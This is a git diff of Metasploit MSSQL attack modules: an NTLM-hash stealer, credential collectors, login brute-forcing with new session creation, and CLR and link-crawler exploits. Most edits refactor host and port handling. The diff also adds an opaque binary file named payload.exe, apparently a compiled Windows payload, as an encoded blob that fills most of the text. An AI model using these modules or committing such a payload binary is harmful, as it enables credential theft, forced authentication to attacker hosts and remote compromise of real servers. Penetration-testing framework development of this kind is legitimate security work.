a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index fc00f5d06eb15..a0c86c6c587a0 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -33,7 +33,7 @@ def initialize(info = {}) register_options( [ - OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']) + OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']), ]) end @@ -63,7 +63,7 @@ def run_host(ip) # Method to force sql server to authenticate def force_auth(sprocedure,smbproxy) - print_status("Forcing SQL Server at #{datastore['RHOST']} to auth to #{smbproxy} via #{sprocedure}...") + print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...") # Generate random file name rand_filename = Rex::Text.rand_text_alpha(8, bad='') @@ -72,7 +72,7 @@ def force_auth(sprocedure,smbproxy) sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'" result = mssql_query(sql, false) if mssql_login_datastore column_data = result[:rows] - print_good("Successfully executed #{sprocedure} on #{datastore['RHOST']}") + print_good("Successfully executed #{sprocedure} on #{rhost}") print_good("Go check your SMB relay or capture module for goodies!") end diff --git a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb index 771acbf958f4d..78af3d93d6f1f 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb @@ -45,7 +45,7 @@ def make_login(opts={}) uname = Rex::Text.to_unicode( opts[:uname] || "sa" ) pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" ) aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) ) - sname = Rex::Text.to_unicode( opts[:sname] || datastore['RHOST'] ) + sname = Rex::Text.to_unicode( opts[:sname] || rhost ) dname = Rex::Text.to_unicode( opts[:dname] || db ) idx = pkt.size + 50 # lengths below diff --git a/modules/auxiliary/fuzzers/tds/tds_login_username.rb b/modules/auxiliary/fuzzers/tds/tds_login_username.rb index 072bd5f5db449..5de7a2109a292 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_username.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_username.rb @@ -50,7 +50,7 @@ def do_login(opts={}) uname = Rex::Text.to_unicode( opts[:uname] || "sa" ) pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" ) aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) ) - sname = Rex::Text.to_unicode( opts[:sname] || datastore['RHOST'] ) + sname = Rex::Text.to_unicode( opts[:sname] || rhost ) dname = Rex::Text.to_unicode( opts[:dname] || db ) idx = pkt.size + 50 # lengths below diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index 37a083997f37a..4649005849e71 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -152,8 +152,8 @@ def run print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{pw}") report_cred( - :host => datastore['RHOST'], - :port => datastore['RPORT'], + :host => rhost, + :port => rport, :creds_name => row[0], :user => row[1], :password => pw diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index 4e62e99801858..ba8c7776923bd 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -25,14 +25,14 @@ def initialize def run_host(ip) - if !mssql_login(datastore['USERNAME'], datastore['PASSWORD']) + if !mssql_login_datastore print_error("Invalid SQL Server credentials") return end service_data = { address: ip, - port: datastore['RPORT'], + port: rport, service_name: 'mssql', protocol: 'tcp', workspace_id: myworkspace_id diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 2fa9f2389f601..7c861241e1a4d 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -6,11 +6,13 @@ require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/mssql' require 'rex/proto/mssql/client' +require 'rex/post/mssql' class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute - + include Msf::Auxiliary::CommandShell include Msf::Auxiliary::Scanner def initialize @@ -34,14 +36,30 @@ def initialize OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', true]), ]) - deregister_options('PASSWORD_SPRAY') + options_to_deregister = %w[PASSWORD_SPRAY] + unless framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE) + options_to_deregister << 'CreateSession' + end + deregister_options(*options_to_deregister) + end + + def create_session? + if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE) + datastore['CreateSession'] + else + false + end end def run_host(ip) - print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - MSSQL - Starting authentication scanner.") + print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.") if datastore['TDSENCRYPTION'] - print_status("Manually enabled TLS/SSL to encrypt TDS payloads.") + if create_session? + raise "Cannot create sessions when encryption is enabled. See https://github.com/rapid7/metasploit-framework/issues/18745 to vote for this feature" + else + print_status("Manually enabled TLS/SSL to encrypt TDS payloads.") + end end cred_collection = build_credential_collection( @@ -52,7 +70,7 @@ def run_host(ip) scanner = Metasploit::Framework::LoginScanner::MSSQL.new( host: ip, - port: datastore['RPORT'], + port: rport, proxies: datastore['PROXIES'], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], @@ -67,6 +85,7 @@ def run_host(ip) tdsencryption: datastore['TDSENCRYPTION'], framework: framework, framework_module: self, + use_client_as_proof: create_session?, ssl: datastore['SSL'], ssl_version: datastore['SSLVersion'], ssl_verify_mode: datastore['SSLVerifyMode'], @@ -85,12 +104,37 @@ def run_host(ip) credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) + print_good "#{ip}:#{rport} - Login Successful: #{result.credential}" - print_good "#{ip}:#{datastore['RPORT']} - Login Successful: #{result.credential}" + if create_session? + begin + mssql_client = result.proof + session_setup(result, mssql_client) + rescue ::StandardError => e + elog('Failed: ', error: e) + print_error(e) + result.proof.conn.close if result.proof&.conn + end + end else invalidate_login(credential_data) - vprint_error "#{ip}:#{datastore['RPORT']} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end end + + def session_setup(result, client) + return unless (result && client) + rstream = client.sock + my_session = Msf::Sessions::MSSQL.new(rstream, { client: client, cwd: result.credential.realm }) # is cwd right? + merging = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => result.credential.public, + 'PASSWORD' => result.credential.private + } + + start_session(self, nil, merging, false, my_session.rstream, my_session) + end end diff --git a/modules/auxiliary/scanner/mssql/mssql_ping.rb b/modules/auxiliary/scanner/mssql/mssql_ping.rb index 5e5f384910293..55140a66729fb 100644 --- a/modules/auxiliary/scanner/mssql/mssql_ping.rb +++ b/modules/auxiliary/scanner/mssql/mssql_ping.rb @@ -16,10 +16,6 @@ def initialize 'License' => MSF_LICENSE ) - register_options( - [ - OptInt.new('THREADS', [true, "The number of concurrent threads (max one per host)", 1]), - ]) deregister_options('RPORT') end diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index 9ba1ba57a4624..b44036d8095e9 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -31,7 +31,7 @@ def initialize def run_host(ip) if !mssql_login_datastore - print_error("#{datastore['RHOST']}:#{datastore['RPORT']} - Invalid SQL Server credentials") + print_error("#{rhost}:#{rport} - Invalid SQL Server credentials") return end @@ -48,10 +48,10 @@ def run_host(ip) return nil if mssql_schema.nil? or mssql_schema.empty? mssql_schema.each do |db| report_note( - :host => datastore['RHOST'], + :host => rhost, :type => "mssql.db.schema", :data => db, - :port => datastore['RPORT'], + :port => rport, :proto => 'tcp', :update => :unique_data ) diff --git a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb index 71ee517fb7109..a6012ac08462d 100644 --- a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb +++ b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb @@ -72,7 +72,7 @@ def exploit end print_status("") - print_good("Successfully authenticated to #{datastore['RHOST']}:#{datastore['RPORT']} with user 'sa' and password '#{pass}'") + print_good("Successfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'") print_status("") exe = generate_payload_exe diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb index 7f4655d80f9cf..313c14d07b61e 100644 --- a/modules/exploits/windows/mssql/mssql_clr_payload.rb +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -51,7 +51,7 @@ def initialize(info = {}) end def check - unless mssql_login(datastore['USERNAME'], datastore['PASSWORD'], datastore['DATABASE']) + unless mssql_login_datastore(datastore['DATABASE']) vprint_status('Invalid SQL Server credentials') return Exploit::CheckCode::Detected end @@ -133,7 +133,7 @@ def is_clr_enabled end def exploit - unless mssql_login(datastore['USERNAME'], datastore['PASSWORD'], datastore['DATABASE']) + unless mssql_login_datastore(datastore['DATABASE']) fail_with(Failure::BadConfig, 'Unable to login with the given credentials') end diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index eb33a73e6f711..a8dc959508e56 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -76,7 +76,7 @@ def exploit print_status("-------------------------------------------------") # Check if credentials are correct - print_status("Attempting to connect to SQL Server at #{datastore['RHOST']}:#{datastore['RPORT']}...") + print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...") if !mssql_login_datastore print_error("Invalid SQL Server credentials") @@ -240,8 +240,8 @@ def exploit this_service = nil if framework.db and framework.db.active this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], + :host => rhost, + :port => rport, :name => 'mssql', :proto => 'tcp' ) diff --git a/payload.exe b/payload.exe new file mode 100755 index 0000000000000000000000000000000000000000..f3825559930df4e60b19fe081ac9021bcb9c0260 GIT binary patch literal 73802 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 